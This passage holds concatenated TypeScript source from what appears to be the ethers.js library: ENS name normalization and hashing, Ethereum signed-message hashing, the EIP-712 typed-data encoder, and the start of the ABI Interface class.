*\n * Copyright (c) 2021 Andrew Raffensperger\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * This is a near carbon-copy of the original source (link below) with the\n * TypeScript typings added and a few tweaks to make it ES3-compatible.\n *\n * See: https://github.com/adraffy/ens-normalize.js\n */\n\nimport { toUtf8CodePoints } from \"@ethersproject/strings\";\n\nimport { getData } from './include.js';\nconst r = getData();\n\nimport {read_member_array, read_mapped_map, read_emoji_trie} from './decoder.js';\n\n// @TODO: This should be lazily loaded\n\nconst VALID = new Set(read_member_array(r));\nconst IGNORED = new Set(read_member_array(r));\nconst MAPPED = read_mapped_map(r);\nconst EMOJI_ROOT = read_emoji_trie(r);\n//const NFC_CHECK = new Set(read_member_array(r, Array.from(VALID.values()).sort((a, b) => a - b)));\n\n//const STOP = 0x2E;\nconst HYPHEN = 0x2D;\nconst UNDERSCORE = 0x5F;\n\nfunction explode_cp(name: string): Array {\n return toUtf8CodePoints(name);\n}\n\nfunction filter_fe0f(cps: Array): Array {\n return cps.filter(cp => cp != 0xFE0F);\n}\n\nexport function ens_normalize_post_check(name: string): string {\n\tfor (let label of name.split('.')) {\n\t\tlet cps = explode_cp(label);\n\t\ttry {\n\t\t\tfor (let i = cps.lastIndexOf(UNDERSCORE) - 1; i >= 0; i--) {\n\t\t\t\tif (cps[i] !== UNDERSCORE) {\n\t\t\t\t\tthrow new Error(`underscore only allowed at start`);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (cps.length >= 4 && cps.every(cp => cp < 0x80) && cps[2] === HYPHEN && cps[3] === HYPHEN) {\n\t\t\t\tthrow new Error(`invalid label extension`);\n\t\t\t}\n\t\t} catch (err) {\n\t\t\tthrow new Error(`Invalid label \"${label}\": ${err.message}`);\n\t\t}\n\t}\n\treturn name;\n}\n\nexport function ens_normalize(name: string): string {\n\treturn ens_normalize_post_check(normalize(name, filter_fe0f));\n}\n\nfunction normalize(name: string, emoji_filter: (a: Array) => Array): string {\n\tlet input = explode_cp(name).reverse(); // flip for pop\n\tlet output = [];\n\twhile (input.length) {\t\t\n\t\tlet emoji = consume_emoji_reversed(input);\n\t\tif (emoji) {\n\t\t\toutput.push(...emoji_filter(emoji));\n\t\t\tcontinue;\n\t\t}\n\t\tlet cp = input.pop();\n\t\tif (VALID.has(cp)) {\n\t\t\toutput.push(cp);\n\t\t\tcontinue;\n\t\t} \n\t\tif (IGNORED.has(cp)) {\n\t\t\tcontinue;\n\t\t}\n\t\tlet cps = MAPPED[cp];\n\t\tif (cps) {\n\t\t\toutput.push(...cps);\n\t\t\tcontinue;\n\t\t}\n\t\tthrow new Error(`Disallowed codepoint: 0x${cp.toString(16).toUpperCase()}`);\n\t}\n\treturn ens_normalize_post_check(nfc(String.fromCodePoint(...output)));\n}\n\nfunction nfc(s: string): string {\n return s.normalize('NFC');\n}\n\nfunction consume_emoji_reversed(cps: Array, eaten?: Array) {\n\tlet node = EMOJI_ROOT;\n\tlet emoji;\n\tlet saved;\n\tlet stack = [];\n\tlet pos = cps.length;\n\tif (eaten) eaten.length = 0; // clear input buffer (if needed)\n\twhile (pos) {\n\t\tlet cp = cps[--pos];\n\t\tnode = node.branches.find(x => x.set.has(cp))?.node;\n\t\tif (!node) break;\n\t\tif (node.save) { // remember\n\t\t\tsaved = cp;\n\t\t} else if (node.check) { // check exclusion\n\t\t\tif (cp === saved) break;\n\t\t}\n\t\tstack.push(cp);\n\t\tif (node.fe0f) {\n\t\t\tstack.push(0xFE0F);\n\t\t\tif (pos > 0 && cps[pos - 1] == 0xFE0F) pos--; // consume optional FE0F\n\t\t}\n\t\tif (node.valid) { // this is a valid emoji (so far)\n\t\t\temoji = stack.slice(); // copy stack\n\t\t\tif (node.valid == 2) emoji.splice(1, 1); // delete FE0F at position 1 (RGI ZWJ don't follow spec!)\n\t\t\tif (eaten) eaten.push(...cps.slice(pos).reverse()); // copy input (if needed)\n\t\t\tcps.length = pos; // truncate\n\t\t}\n\t}\n\treturn emoji;\n}\n", "import { concat, hexlify } from \"@ethersproject/bytes\";\nimport { toUtf8Bytes, toUtf8String } from \"@ethersproject/strings\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { ens_normalize } from \"./ens-normalize/lib\";\n\nconst Zeros = new Uint8Array(32);\nZeros.fill(0);\n\nfunction checkComponent(comp: Uint8Array): Uint8Array {\n if (comp.length === 0) { throw new Error(\"invalid ENS name; empty component\"); }\n return comp;\n}\n\nfunction ensNameSplit(name: string): Array {\n const bytes = toUtf8Bytes(ens_normalize(name));\n const comps: Array = [ ];\n\n if (name.length === 0) { return comps; }\n\n let last = 0;\n for (let i = 0; i < bytes.length; i++) {\n const d = bytes[i];\n\n // A separator (i.e. \".\"); copy this component\n if (d === 0x2e) {\n comps.push(checkComponent(bytes.slice(last, i)));\n last = i + 1;\n }\n }\n\n // There was a stray separator at the end of the name\n if (last >= bytes.length) { throw new Error(\"invalid ENS name; empty component\"); }\n\n comps.push(checkComponent(bytes.slice(last)));\n return comps;\n}\n\nexport function ensNormalize(name: string): string {\n return ensNameSplit(name).map((comp) => toUtf8String(comp)).join(\".\");\n}\n\nexport function isValidName(name: string): boolean {\n try {\n return (ensNameSplit(name).length !== 0);\n } catch (error) { }\n return false;\n}\n\nexport function namehash(name: string): string {\n /* istanbul ignore if */\n if (typeof(name) !== \"string\") {\n logger.throwArgumentError(\"invalid ENS name; not a string\", \"name\", name);\n }\n\n let result: string | Uint8Array = Zeros;\n\n const comps = ensNameSplit(name);\n while (comps.length) {\n result = keccak256(concat([result, keccak256(comps.pop())]));\n }\n\n return hexlify(result);\n}\n\nexport function dnsEncode(name: string): string {\n return hexlify(concat(ensNameSplit(name).map((comp) => {\n // DNS does not allow components over 63 bytes in length\n if (comp.length > 63) {\n throw new Error(\"invalid DNS encoded entry; length exceeds 63 bytes\");\n }\n\n const bytes = new Uint8Array(comp.length + 1);\n bytes.set(comp, 1);\n bytes[0] = bytes.length - 1;\n return bytes;\n\n }))) + \"00\";\n}\n", "import { Bytes, concat } from \"@ethersproject/bytes\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { toUtf8Bytes } from \"@ethersproject/strings\";\n\nexport const messagePrefix = \"\\x19Ethereum Signed Message:\\n\";\n\nexport function hashMessage(message: Bytes | string): string {\n if (typeof(message) === \"string\") { message = toUtf8Bytes(message); }\n return keccak256(concat([\n toUtf8Bytes(messagePrefix),\n toUtf8Bytes(String(message.length)),\n message\n ]));\n}\n\n", "import { TypedDataDomain, TypedDataField } from \"@ethersproject/abstract-signer\";\nimport { getAddress } from \"@ethersproject/address\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { arrayify, BytesLike, hexConcat, hexlify, hexZeroPad, isHexString } from \"@ethersproject/bytes\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { deepCopy, defineReadOnly, shallowCopy } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { id } from \"./id\";\n\nconst padding = new Uint8Array(32);\npadding.fill(0);\n\nconst NegativeOne: BigNumber = BigNumber.from(-1);\nconst Zero: BigNumber = BigNumber.from(0);\nconst One: BigNumber = BigNumber.from(1);\nconst MaxUint256: BigNumber = BigNumber.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n\nfunction hexPadRight(value: BytesLike) {\n const bytes = arrayify(value);\n const padOffset = bytes.length % 32\n if (padOffset) {\n return hexConcat([ bytes, padding.slice(padOffset) ]);\n }\n return hexlify(bytes);\n}\n\nconst hexTrue = hexZeroPad(One.toHexString(), 32);\nconst hexFalse = hexZeroPad(Zero.toHexString(), 32);\n\nconst domainFieldTypes: Record = {\n name: \"string\",\n version: \"string\",\n chainId: \"uint256\",\n verifyingContract: \"address\",\n salt: \"bytes32\"\n};\n\nconst domainFieldNames: Array = [\n \"name\", \"version\", \"chainId\", \"verifyingContract\", \"salt\"\n];\n\nfunction checkString(key: string): (value: any) => string {\n return function (value: any){\n if (typeof(value) !== \"string\") {\n logger.throwArgumentError(`invalid domain value for ${ JSON.stringify(key) }`, `domain.${ key }`, value);\n }\n return value;\n }\n}\n\nconst domainChecks: Record any> = {\n name: checkString(\"name\"),\n version: checkString(\"version\"),\n chainId: function(value: any) {\n try {\n return BigNumber.from(value).toString()\n } catch (error) { }\n return logger.throwArgumentError(`invalid domain value for \"chainId\"`, \"domain.chainId\", value);\n },\n verifyingContract: function(value: any) {\n try {\n return getAddress(value).toLowerCase();\n } catch (error) { }\n return logger.throwArgumentError(`invalid domain value \"verifyingContract\"`, \"domain.verifyingContract\", value);\n },\n salt: function(value: any) {\n try {\n const bytes = arrayify(value);\n if (bytes.length !== 32) { throw new Error(\"bad length\"); }\n return hexlify(bytes);\n } catch (error) { }\n return logger.throwArgumentError(`invalid domain value \"salt\"`, \"domain.salt\", value);\n }\n}\n\nfunction getBaseEncoder(type: string): (value: any) => string {\n // intXX and uintXX\n {\n const match = type.match(/^(u?)int(\\d*)$/);\n if (match) {\n const signed = (match[1] === \"\");\n\n const width = parseInt(match[2] || \"256\");\n if (width % 8 !== 0 || width > 256 || (match[2] && match[2] !== String(width))) {\n logger.throwArgumentError(\"invalid numeric width\", \"type\", type);\n }\n\n const boundsUpper = MaxUint256.mask(signed ? (width - 1): width);\n const boundsLower = signed ? boundsUpper.add(One).mul(NegativeOne): Zero;\n\n return function(value: BigNumberish) {\n const v = BigNumber.from(value);\n\n if (v.lt(boundsLower) || v.gt(boundsUpper)) {\n logger.throwArgumentError(`value out-of-bounds for ${ type }`, \"value\", value);\n }\n\n return hexZeroPad(v.toTwos(256).toHexString(), 32);\n };\n }\n }\n\n // bytesXX\n {\n const match = type.match(/^bytes(\\d+)$/);\n if (match) {\n const width = parseInt(match[1]);\n if (width === 0 || width > 32 || match[1] !== String(width)) {\n logger.throwArgumentError(\"invalid bytes width\", \"type\", type);\n }\n\n return function(value: BytesLike) {\n const bytes = arrayify(value);\n if (bytes.length !== width) {\n logger.throwArgumentError(`invalid length for ${ type }`, \"value\", value);\n }\n return hexPadRight(value);\n };\n }\n }\n\n switch (type) {\n case \"address\": return function(value: string) {\n return hexZeroPad(getAddress(value), 32);\n };\n case \"bool\": return function(value: boolean) {\n return ((!value) ? hexFalse: hexTrue);\n };\n case \"bytes\": return function(value: BytesLike) {\n return keccak256(value);\n };\n case \"string\": return function(value: string) {\n return id(value);\n };\n }\n\n return null;\n}\n\nfunction encodeType(name: string, fields: Array): string {\n return `${ name }(${ fields.map(({ name, type }) => (type + \" \" + name)).join(\",\") })`;\n}\n\nexport class TypedDataEncoder {\n readonly primaryType: string;\n readonly types: Record>;\n\n readonly _encoderCache: Record string>;\n readonly _types: Record;\n\n constructor(types: Record>) {\n defineReadOnly(this, \"types\", Object.freeze(deepCopy(types)));\n\n defineReadOnly(this, \"_encoderCache\", { });\n defineReadOnly(this, \"_types\", { });\n\n // Link struct types to their direct child structs\n const links: Record> = { };\n\n // Link structs to structs which contain them as a child\n const parents: Record> = { };\n\n // Link all subtypes within a given struct\n const subtypes: Record> = { };\n\n Object.keys(types).forEach((type) => {\n links[type] = { };\n parents[type] = [ ];\n subtypes[type] = { }\n });\n\n for (const name in types) {\n\n const uniqueNames: Record = { };\n\n types[name].forEach((field) => {\n\n // Check each field has a unique name\n if (uniqueNames[field.name]) {\n logger.throwArgumentError(`duplicate variable name ${ JSON.stringify(field.name) } in ${ JSON.stringify(name) }`, \"types\", types);\n }\n uniqueNames[field.name] = true;\n\n // Get the base type (drop any array specifiers)\n const baseType = field.type.match(/^([^\\x5b]*)(\\x5b|$)/)[1];\n if (baseType === name) {\n logger.throwArgumentError(`circular type reference to ${ JSON.stringify(baseType) }`, \"types\", types);\n }\n\n // Is this a base encoding type?\n const encoder = getBaseEncoder(baseType);\n if (encoder) { return ;}\n\n if (!parents[baseType]) {\n logger.throwArgumentError(`unknown type ${ JSON.stringify(baseType) }`, \"types\", types);\n }\n\n // Add linkage\n parents[baseType].push(name);\n links[name][baseType] = true;\n });\n }\n\n // Deduce the primary type\n const primaryTypes = Object.keys(parents).filter((n) => (parents[n].length === 0));\n\n if (primaryTypes.length === 0) {\n logger.throwArgumentError(\"missing primary type\", \"types\", types);\n } else if (primaryTypes.length > 1) {\n logger.throwArgumentError(`ambiguous primary types or unused types: ${ primaryTypes.map((t) => (JSON.stringify(t))).join(\", \") }`, \"types\", types);\n }\n\n defineReadOnly(this, \"primaryType\", primaryTypes[0]);\n\n // Check for circular type references\n function checkCircular(type: string, found: Record) {\n if (found[type]) {\n logger.throwArgumentError(`circular type reference to ${ JSON.stringify(type) }`, \"types\", types);\n }\n\n found[type] = true;\n\n Object.keys(links[type]).forEach((child) => {\n if (!parents[child]) { return; }\n\n // Recursively check children\n checkCircular(child, found);\n\n // Mark all ancestors as having this decendant\n Object.keys(found).forEach((subtype) => {\n subtypes[subtype][child] = true;\n });\n });\n\n delete found[type];\n }\n checkCircular(this.primaryType, { });\n\n // Compute each fully describe type\n for (const name in subtypes) {\n const st = Object.keys(subtypes[name]);\n st.sort();\n this._types[name] = encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join(\"\");\n }\n }\n\n getEncoder(type: string): (value: any) => string {\n let encoder = this._encoderCache[type];\n if (!encoder) {\n encoder = this._encoderCache[type] = this._getEncoder(type);\n }\n return encoder;\n }\n\n _getEncoder(type: string): (value: any) => string {\n\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) { return encoder; }\n }\n\n // Array\n const match = type.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n const subtype = match[1];\n const subEncoder = this.getEncoder(subtype);\n const length = parseInt(match[3]);\n return (value: Array) => {\n if (length >= 0 && value.length !== length) {\n logger.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\", \"value\", value);\n }\n\n let result = value.map(subEncoder);\n if (this._types[subtype]) {\n result = result.map(keccak256);\n }\n\n return keccak256(hexConcat(result));\n };\n }\n\n // Struct\n const fields = this.types[type];\n if (fields) {\n const encodedType = id(this._types[type]);\n return (value: Record) => {\n const values = fields.map(({ name, type }) => {\n const result = this.getEncoder(type)(value[name]);\n if (this._types[type]) { return keccak256(result); }\n return result;\n });\n values.unshift(encodedType);\n return hexConcat(values);\n }\n }\n\n return logger.throwArgumentError(`unknown type: ${ type }`, \"type\", type);\n }\n\n encodeType(name: string): string {\n const result = this._types[name];\n if (!result) {\n logger.throwArgumentError(`unknown type: ${ JSON.stringify(name) }`, \"name\", name);\n }\n return result;\n }\n\n encodeData(type: string, value: any): string {\n return this.getEncoder(type)(value);\n }\n\n hashStruct(name: string, value: Record): string {\n return keccak256(this.encodeData(name, value));\n }\n\n encode(value: Record): string {\n return this.encodeData(this.primaryType, value);\n }\n\n hash(value: Record): string {\n return this.hashStruct(this.primaryType, value);\n }\n\n _visit(type: string, value: any, callback: (type: string, data: any) => any): any {\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) { return callback(type, value); }\n }\n\n // Array\n const match = type.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n const subtype = match[1];\n const length = parseInt(match[3]);\n if (length >= 0 && value.length !== length) {\n logger.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\", \"value\", value);\n }\n return value.map((v: any) => this._visit(subtype, v, callback));\n }\n\n // Struct\n const fields = this.types[type];\n if (fields) {\n return fields.reduce((accum, { name, type }) => {\n accum[name] = this._visit(type, value[name], callback);\n return accum;\n }, >{});\n }\n\n return logger.throwArgumentError(`unknown type: ${ type }`, \"type\", type);\n }\n\n visit(value: Record, callback: (type: string, data: any) => any): any {\n return this._visit(this.primaryType, value, callback);\n }\n\n static from(types: Record>): TypedDataEncoder {\n return new TypedDataEncoder(types);\n }\n\n static getPrimaryType(types: Record>): string {\n return TypedDataEncoder.from(types).primaryType;\n }\n\n static hashStruct(name: string, types: Record>, value: Record): string {\n return TypedDataEncoder.from(types).hashStruct(name, value);\n }\n\n static hashDomain(domain: TypedDataDomain): string {\n const domainFields: Array = [ ];\n for (const name in domain) {\n const type = domainFieldTypes[name];\n if (!type) {\n logger.throwArgumentError(`invalid typed-data domain key: ${ JSON.stringify(name) }`, \"domain\", domain);\n }\n domainFields.push({ name, type });\n }\n\n domainFields.sort((a, b) => {\n return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name);\n });\n\n return TypedDataEncoder.hashStruct(\"EIP712Domain\", { EIP712Domain: domainFields }, domain);\n }\n\n static encode(domain: TypedDataDomain, types: Record>, value: Record): string {\n return hexConcat([\n \"0x1901\",\n TypedDataEncoder.hashDomain(domain),\n TypedDataEncoder.from(types).hash(value)\n ]);\n }\n\n static hash(domain: TypedDataDomain, types: Record>, value: Record): string {\n return keccak256(TypedDataEncoder.encode(domain, types, value));\n }\n\n // Replaces all address types with ENS names with their looked up address\n static async resolveNames(domain: TypedDataDomain, types: Record>, value: Record, resolveName: (name: string) => Promise): Promise<{ domain: TypedDataDomain, value: any }> {\n // Make a copy to isolate it from the object passed in\n domain = shallowCopy(domain);\n\n // Look up all ENS names\n const ensCache: Record = { };\n\n // Do we need to look up the domain's verifyingContract?\n if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) {\n ensCache[domain.verifyingContract] = \"0x\";\n }\n\n // We are going to use the encoder to visit all the base values\n const encoder = TypedDataEncoder.from(types);\n\n // Get a list of all the addresses\n encoder.visit(value, (type: string, value: any) => {\n if (type === \"address\" && !isHexString(value, 20)) {\n ensCache[value] = \"0x\";\n }\n return value;\n });\n\n // Lookup each name\n for (const name in ensCache) {\n ensCache[name] = await resolveName(name);\n }\n\n // Replace the domain verifyingContract if needed\n if (domain.verifyingContract && ensCache[domain.verifyingContract]) {\n domain.verifyingContract = ensCache[domain.verifyingContract];\n }\n\n // Replace all ENS names with their address\n value = encoder.visit(value, (type: string, value: any) => {\n if (type === \"address\" && ensCache[value]) { return ensCache[value]; }\n return value;\n });\n\n return { domain, value };\n }\n\n static getPayload(domain: TypedDataDomain, types: Record>, value: Record): any {\n // Validate the domain fields\n TypedDataEncoder.hashDomain(domain);\n\n // Derive the EIP712Domain Struct reference type\n const domainValues: Record = { };\n const domainTypes: Array<{ name: string, type:string }> = [ ];\n\n domainFieldNames.forEach((name) => {\n const value = (domain)[name];\n if (value == null) { return; }\n domainValues[name] = domainChecks[name](value);\n domainTypes.push({ name, type: domainFieldTypes[name] });\n });\n\n const encoder = TypedDataEncoder.from(types);\n\n const typesWithDomain = shallowCopy(types);\n if (typesWithDomain.EIP712Domain) {\n logger.throwArgumentError(\"types must not contain EIP712Domain type\", \"types.EIP712Domain\", types);\n } else {\n typesWithDomain.EIP712Domain = domainTypes;\n }\n\n // Validate the data structures and types\n encoder.encode(value);\n\n return {\n types: typesWithDomain,\n domain: domainValues,\n primaryType: encoder.primaryType,\n message: encoder.visit(value, (type: string, value: any) => {\n\n // bytes\n if (type.match(/^bytes(\\d*)/)) {\n return hexlify(arrayify(value));\n }\n\n // uint or int\n if (type.match(/^u?int/)) {\n return BigNumber.from(value).toString();\n }\n\n switch (type) {\n case \"address\":\n return value.toLowerCase();\n case \"bool\":\n return !!value;\n case \"string\":\n if (typeof(value) !== \"string\") {\n logger.throwArgumentError(`invalid string`, \"value\", value);\n }\n return value;\n }\n\n return logger.throwArgumentError(\"unsupported type\", \"type\", type);\n })\n };\n }\n}\n\n", "\"use strict\";\n\nimport { getAddress } from \"@ethersproject/address\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { arrayify, BytesLike, concat, hexDataSlice, hexlify, hexZeroPad, isHexString } from \"@ethersproject/bytes\";\nimport { id } from \"@ethersproject/hash\";\nimport { keccak256 } from \"@ethersproject/keccak256\"\nimport { defineReadOnly, Description, getStatic } from \"@ethersproject/properties\";\n\nimport { AbiCoder, defaultAbiCoder } from \"./abi-coder\";\nimport { checkResultErrors, Result } from \"./coders/abstract-coder\";\nimport { ConstructorFragment, ErrorFragment, EventFragment, FormatTypes, Fragment, FunctionFragment, JsonFragment, ParamType } from \"./fragments\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport { checkResultErrors, Result };\n\nexport class LogDescription extends Description {\n readonly eventFragment: EventFragment;\n readonly name: string;\n readonly signature: string;\n readonly topic: string;\n readonly args: Result\n}\n\nexport class TransactionDescription extends Description {\n readonly functionFragment: FunctionFragment;\n readonly name: string;\n readonly args: Result;\n readonly signature: string;\n readonly sighash: string;\n readonly value: BigNumber;\n}\n\nexport class ErrorDescription extends Description {\n readonly errorFragment: ErrorFragment;\n readonly name: string;\n readonly args: Result;\n readonly signature: string;\n readonly sighash: string;\n}\n\nexport class Indexed extends Description {\n readonly hash: string;\n readonly _isIndexed: boolean;\n\n static isIndexed(value: any): value is Indexed {\n return !!(value && value._isIndexed);\n }\n}\n\nconst BuiltinErrors: Record, name: string, reason?: boolean }> = {\n \"0x08c379a0\": { signature: \"Error(string)\", name: \"Error\", inputs: [ \"string\" ], reason: true },\n \"0x4e487b71\": { signature: \"Panic(uint256)\", name: \"Panic\", inputs: [ \"uint256\" ] }\n}\n\nfunction wrapAccessError(property: string, error: Error): Error {\n const wrap = new Error(`deferred error during ABI decoding triggered accessing ${ property }`);\n (wrap).error = error;\n return wrap;\n}\n\n/*\nfunction checkNames(fragment: Fragment, type: \"input\" | \"output\", params: Array): void {\n params.reduce((accum, param) => {\n if (param.name) {\n if (accum[param.name]) {\n logger.throwArgumentError(`duplicate ${ type } parameter ${ JSON.stringify(param.name) } in ${ fragment.format(\"full\") }`, \"fragment\", fragment);\n }\n accum[param.name] = true;\n }\n return accum;\n }, <{ [ name: string ]: boolean }>{ });\n}\n*/\nexport class Interface {\n readonly fragments: ReadonlyArray;\n\n readonly errors: { [ name: string ]: ErrorFragment };\n readonly events: { [ name: string ]: EventFragment };\n readonly functions: { [ name: string ]: FunctionFragment };\n readonly structs: { [ name: string ]: any };\n\n readonly deploy: ConstructorFragment;\n\n readonly _abiCoder: AbiCoder;\n\n readonly _isInterface: boolean;\n\n constructor(fragments: string | ReadonlyArray) {\n let abi: ReadonlyArray = [ ];\n if (typeof(fragments) === \"string\") {\n abi = JSON.parse(fragments);\n } else {\n abi = fragments;\n }\n\n defineReadOnly(this, \"fragments\", abi.map((fragment) => {\n return Fragment.from(fragment);\n }).filter((fragment) => (fragment != null)));\n\n defineReadOnly(this, \"_abiCoder\", getStatic<() => AbiCoder>(new.target, \"getAbiCoder\")());\n\n defineReadOnly(this, \"functions\", { });\n defineReadOnly(this, \"errors\", { });\n defineReadOnly(this, \"events\", { });\n defineReadOnly(this, \"structs\", { });\n\n // Add all fragments by their signature\n this.fragments.forEach((fragment) => {\n let bucket: { [ name: string ]: Fragment } = null;\n switch (fragment.type) {\n case \"constructor\":\n if (this.deploy) {\n logger.warn(\"duplicate definition - constructor\");\n return;\n }\n //checkNames(fragment, \"input\", fragment.inputs);\n defineReadOnly(this, \"deploy\", fragment);\n return;\n case \"function\":\n //checkNames(fragment, \"input\", fragment.inputs);\n //checkNames(fragment, \"output\", (fragment).outputs);\n bucket = this.functions;\n break;\n case \"event\":\n //checkNames(fragment, \"input\", fragment.inputs);\n bucket = this.events;\n break;\n case \"error\":\n bucket = this.errors;\n break;\n default:\n return;\n }\n\n let signature = fragment.format();\n if (bucket[signature]) {\n logger.warn(\"duplicate definition - \" + signature);\n return;\n }\n\n bucket[signature] = fragment;\n });\n\n // If we do not have a constructor add a default\n if (!this.deploy) {\n defineReadOnly(this, \"deploy\", ConstructorFragment.from({\n payable: false,\n type: \"constructor\"\n }));\n }\n\n defineReadOnly(this, \"_isInterface\", true);\n }\n\n format(format?: string): string | Array {\n if (!format) { format = FormatTypes.full; }\n if (format === FormatTypes.sighash) {\n logger.throwArgumentError(\"interface does not support formatting sighash\", \"format\", format);\n }\n\n const abi = this.fragments.map((fragment) => fragment.format(format));\n\n // We need to re-bundle the JSON fragments a bit\n if (format === FormatTypes.json) {\n return JSON.stringify(abi.map((j) => JSON.parse(j)));\n }\n\n return abi;\n }\n\n // Sub-classes can override these to handle other blockchains\n static getAbiCoder(): AbiCoder {\n return defaultAbiCoder;\n }\n\n static getAddress(address: string): string {\n return getAddress(address);\n }\n\n static getSighash(fragment: ErrorFragment | FunctionFragment): string {\n return hexDataSlice(id(fragment.format()), 0, 4);\n }\n\n static getEventTopic(eventFragment: EventFragment): string {\n return id(eventFragment.format());\n }\n\n // Find a function definition by any means necessary (unless it is ambiguous)\n getFunction(nameOrSignatureOrSighash: string): FunctionFragment {\n if (isHexString(nameOrSignatureOrSighash)) {\n for (const name in this.functions) {\n if (nameOrSignatureOrSighash === this.getSighash(name)) {\n return this.functions[name];\n }\n }\n logger.throwArgumentError(\"no matching function\", \"sighash\", nameOrSignatureOrSighash);\n }\n\n // It is a bare name, look up the function (will return null if ambiguous)\n if (nameOrSignatureOrSighash.indexOf(\"(\") === -1) {\n const name = nameOrSignatureOrSighash.trim();\n const matching = Object.keys(this.functions).filter((f) => (f.split(\"(\"/* fix:) */)[0] === name));\n if (matching.length === 0) {\n logger.throwArgumentError(\"no matching function\", \"name\", name);\n } else if (matching.length > 1) {\n logger.throwArgumentError(\"multiple matching functions\", \"name\", name);\n }\n\n return this.functions[matching[0]];\n }\n\n // Normalize the signature and lookup the function\n const result = this.functions[FunctionFragment.fromString(nameOrSignatureOrSighash).format()];\n if (!result) {\n logger.throwArgumentError(\"no matching function\", \"signature\", nameOrSignatureOrSighash);\n }\n return result;\n }\n\n // Find an event definition by any means necessary (unless it is ambiguous)\n getEvent(nameOrSignatureOrTopic: string): EventFragment {\n if (isHexString(nameOrSignatureOrTopic)) {\n const topichash = nameOrSignatureOrTopic.toLowerCase();\n for (const name in this.events) {\n if (topichash === this.getEventTopic(name)) {\n return this.events[name];\n }\n }\n logger.throwArgumentError(\"no matching event\", \"topichash\", topichash);\n }\n\n // It is a bare name, look up the function (will return null if ambiguous)\n if (nameOrSignatureOrTopic.indexOf(\"(\") === -1) {\n const name = nameOrSignatureOrTopic.trim();\n const matching = Object.keys(this.events).filter((f) => (f.split(\"(\"/* fix:) */)[0] === name));\n if (matching.length === 0) {\n logger.throwArgumentError(\"no matching event\", \"name\", name);\n } else if (matching.length > 1) {\n logger.throwArgumentError(\"multiple matching events\", \"name\", name);\n }\n\n return this.events[matching[0]];\n }\n\n // Normalize the signature and lookup the function\n const result = this.events[EventFragment.fromString(nameOrSignatureOrTopic).format()];\n if (!result) {\n logger.throwArgumentError(\"no matching event\", \"signature\", nameOrSignatureOrTopic);\n }\n return result;\n }\n\n // Find a function definition by any means necessary (unless it is ambiguous)\n getError(nameOrSignatureOrSighash: string): ErrorFragment {\n if (isHexString(nameOrSignatureOrSighash)) {\n const getSighash = getStatic<(f: ErrorFragment | FunctionFragment) => string>(this.constructor, \"getSighash\");\n for (const name in this.errors) {\n const error = this.errors[name];\n if (nameOrSignatureOrSighash === getSighash(error)) {\n return this.errors[name];\n }\n }\n logger.throwArgumentError(\"no matching error\", \"sighash\", nameOrSignatureOrSighash);\n }\n\n // It is a bare name, look up the function (will return null if ambiguous)\n if (nameOrSignatureOrSighash.indexOf(\"(\") === -1) {\n const name = nameOrSignatureOrSighash.trim();\n const matching = Object.keys(this.errors).filter((f) => (f.split(\"(\"/* fix:) */)[0] === name));\n if (matching.length === 0) {\n logger.throwArgumentError(\"no matching error\", \"name\", name);\n } else if (matching.length > 1) {\n logger.throwArgumentError(\"multiple matching errors\", \"name\", name);\n }\n\n return this.errors[matching[0]];\n }\n\n // Normalize the signature and lookup the function\n const result = this.errors[FunctionFragment.fromString(nameOrSignatureOrSighash).format()];\n if (!result) {\n logger.throwArgumentError(\"no matching error\", \"signature\", nameOrSignatureOrSighash);\n }\n return result;\n }\n\n // Get the sighash (the bytes4 selector) used by Solidity to identify a function\n getSighash(fragment: ErrorFragment | FunctionFragment | string): string {\n if (typeof(fragment) === \"string\") {\n try {\n fragment = this.getFunction(fragment);\n } catch (error) {\n try {\n fragment = this.getError(fragment);\n } catch (_) {\n throw error;\n }\n }\n }\n\n return getStatic<(f: ErrorFragment | FunctionFragment) => string>(this.constructor, \"getSighash\")(fragment);\n }\n\n // Get the topic (the bytes32 hash) used by Solidity to identify an event\n getEventTopic(eventFragment: EventFragment | string): string {\n if (typeof(eventFragment) === \"string\") {\n eventFragment = this.getEvent(eventFragment);\n }\n\n return getStatic<(e: EventFragment) => string>(this.constructor, 